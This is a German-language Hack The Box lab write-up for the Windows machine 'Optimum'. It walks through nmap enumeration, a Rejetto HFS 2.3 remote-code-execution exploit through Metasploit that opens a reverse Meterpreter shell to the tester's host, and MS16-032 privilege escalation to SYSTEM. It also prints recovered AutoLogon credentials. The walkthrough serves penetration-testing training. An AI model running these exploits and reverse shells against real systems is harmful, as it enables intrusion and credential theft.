HTB · published
Optimum
Hack The Box CPTS-Roadmap Writeup für Optimum: Rejetto HFS 2.3 RCE, Meterpreter als kostas und MS16-032 Privilege Escalation zu SYSTEM.
Metadaten
- Name: Optimum
- IP Address:
10.129.161.252 - Plattform: Windows
- Kategorie: Web / Known Exploit / Local Privilege Escalation
- Schwierigkeit: Easy
- Ziel(e): User, Root / SYSTEM
- Kurzbeschreibung: Optimum ist eine Beginner-Windows-Maschine, die stark auf Enumeration bekannter verwundbarer Services fokussiert ist. Auf Port
80läuft Rejetto HttpFileServer2.3, wofür ein zuverlässiger Remote-Command-Execution-Exploit existiert. Der initiale Zugriff erfolgt alskostas; anschließend führt MS16-032 zuNT AUTHORITY\SYSTEM.
Reconnaissance / Enumeration
Der initiale Full-Port-Scan zeigte nur einen offenen Port:
nmap -p- --min-rate 10000 -T4 -v -n -oN 10.129.161.252-initial.nmap 10.129.161.252
PORT STATE SERVICE
80/tcp open http
Damit war der Webserver der klare Einstiegspunkt.
Service Scan
Der Service-Scan identifizierte den HTTP-Dienst als Rejetto HttpFileServer:
nmap -sV -sC -T4 -v -n -p 80 -oN 10.129.161.252-services.nmap 10.129.161.252
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
| http-methods:
|_ Supported Methods: GET HEAD POST
Service Info: OS: Windows
Wichtige Erkenntnis:
HttpFileServer httpd 2.3
Diese Version ist für Remote Command Execution bekannt.
Exploitation: Rejetto HFS RCE
In Metasploit wurde nach einem passenden HFS-Modul gesucht:
msf > search httpfileserver
Treffer:
exploit/windows/http/rejetto_hfs_exec
Rejetto HttpFileServer Remote Command Execution
Das Modul wurde für eine Reverse-Meterpreter-Session verwendet:
msf exploit(windows/http/rejetto_hfs_exec) > run
Erfolgreiche Ausführung:
[*] Started reverse TCP handler on 10.10.14.118:4444
[*] Using URL: http://10.10.14.118:8080/MeMaOp0S8
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /MeMaOp0S8
[*] Sending stage (188998 bytes) to 10.129.161.252
[*] Meterpreter session 1 opened (10.10.14.118:4444 -> 10.129.161.252:49162)
Der initiale Kontext war der Benutzer kostas:
meterpreter > getuid
Server username: OPTIMUM\kostas
User Flag
Die User-Flag lag auf dem Desktop von kostas:
type C:\Users\kostas\Desktop\user.txt
7d1be[REDACTED-USER-FLAG]6171
System Enumeration
Die Meterpreter-Systeminformationen zeigten Windows Server 2012 R2:
meterpreter > sysinfo
Computer : OPTIMUM
OS : Windows Server 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : el_GR
Domain : HTB
Logged On Users : 2
Meterpreter : x86/windows
Wichtiger Punkt:
OS: x64
Meterpreter: x86/windows
Das wurde später bei der lokalen Privilege Escalation relevant.
Privilege Escalation Enumeration
Mit dem Metasploit local_exploit_suggester wurde nach lokalen Exploit-Möglichkeiten gesucht:
use post/multi/recon/local_exploit_suggester
set session 3
run
Ergebnisse:
[+] exploit/windows/local/bypassuac_comhijack: Vulnerable
[+] exploit/windows/local/bypassuac_eventvwr: Vulnerable
[+] exploit/windows/local/bypassuac_sluihijack: Vulnerable
[+] exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: Possibly Vulnerable
[+] exploit/windows/local/ms16_032_secondary_logon_handle_privesc: Vulnerable
[+] exploit/windows/local/tokenmagic: Vulnerable
Der zuverlässigste Weg war:
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Zusätzlich fand WinPEAS AutoLogon-Credentials:
DefaultUserName : kostas
DefaultPassword : kdeEjDowkS*
Diese Credentials können für manche UAC-Bypass-Methoden hilfreich sein, waren für MS16-032 aber nicht nötig.
Privilege Escalation: MS16-032
Das MS16-032-Modul wurde mit der bestehenden Meterpreter-Session ausgeführt:
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION <id>
run
Während der Ausführung erkannte das Modul die 32-bit/64-bit-Situation:
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
Erfolgreiche Ausführung:
[*] Started reverse TCP handler on 10.10.14.118:4444
[+] Compressed size: 1160
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\YLDFzRtwSekn.ps1...
[*] Executing exploit script...
[+] Executed on target machine.
[*] Sending stage (188998 bytes) to 10.129.204.34
[*] Meterpreter session 4 opened (10.10.14.118:4444 -> 10.129.204.34:49179)
[+] Deleted C:\Users\kostas\AppData\Local\Temp\YLDFzRtwSekn.ps1
Die neue Session lief als SYSTEM:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Root Flag
Mit SYSTEM-Rechten konnte die Root-Flag gelesen werden:
type C:\Users\administrator\desktop\root.txt
cbf93[REDACTED-ROOT-FLAG]6469
Post-Exploitation
- Foothold: Rejetto HFS
2.3RCE überrejetto_hfs_exec. - User: Zugriff als
OPTIMUM\kostas. - User-Flag:
C:\Users\kostas\Desktop\user.txt. - Privilege Escalation: MS16-032 Secondary Logon Handle Privilege Escalation.
- Root / SYSTEM: Neue Meterpreter-Session als
NT AUTHORITY\SYSTEM. - Root-Flag:
C:\Users\administrator\desktop\root.txt.
Lessons Learned
- Ein offener Port reicht: Wenn nur HTTP offen ist, muss die Service-Version besonders genau geprüft werden.
- Bekannte Software-Versionen sind Gold:
HttpFileServer 2.3führte direkt zum passenden Exploit. - Architektur beachten: x86-Meterpreter auf x64-Windows kann lokale Exploits beeinflussen.
- Exploit Suggester ist ein guter Startpunkt: Die Ergebnisse müssen trotzdem bewertet werden; MS16-032 war hier der zuverlässigste Weg.
- AutoLogon-Credentials merken: Auch wenn sie hier nicht nötig waren, sind solche Funde oft wertvoll für Alternativwege.
Notizen
Optimum ist eine gute CPTS-Roadmap-Maschine für den Ablauf: Service-Version erkennen, bekannten Exploit validieren, Systeminformationen sammeln, lokale Privilege Escalation gezielt auswählen und SYSTEM-Zugriff bestätigen.